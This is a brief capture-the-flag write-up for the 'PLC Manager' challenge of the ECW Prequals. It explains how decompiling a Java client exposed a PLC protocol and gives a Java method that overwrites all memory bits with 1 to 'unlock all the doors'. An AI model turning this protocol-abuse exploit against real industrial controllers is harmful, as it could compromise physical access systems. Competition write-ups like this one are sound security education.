It was a .jar file.
We just had to decompile it, analyze a bit the protocol and find a way to write all the bits in memory to 1 instead of reading them, in order to "unlock all the doors".
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ECW Prequals - Challenge "PLC Manager"
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| public boolean write_var(final long n) { | |
| byte[] toSend = new byte[128]; | |
| toSend[0] = 0; //iDontKnow | |
| toSend[1] = 2; //writeCommand | |
| toSend[2] = 0; //startOffset | |
| toSend[3] = (byte)255; //length | |
| for(int i = 4; i < toSend.length; ++i) { | |
| toSend[i] = 1; | |
| } | |
| final byte[] send_and_rcv = this.send_and_rcv(this.build_header(n, toSend)); | |
| System.out.println(javax.xml.bind.DatatypeConverter.printHexBinary(send_and_rcv)); | |
| return send_and_rcv != null; | |
| } |
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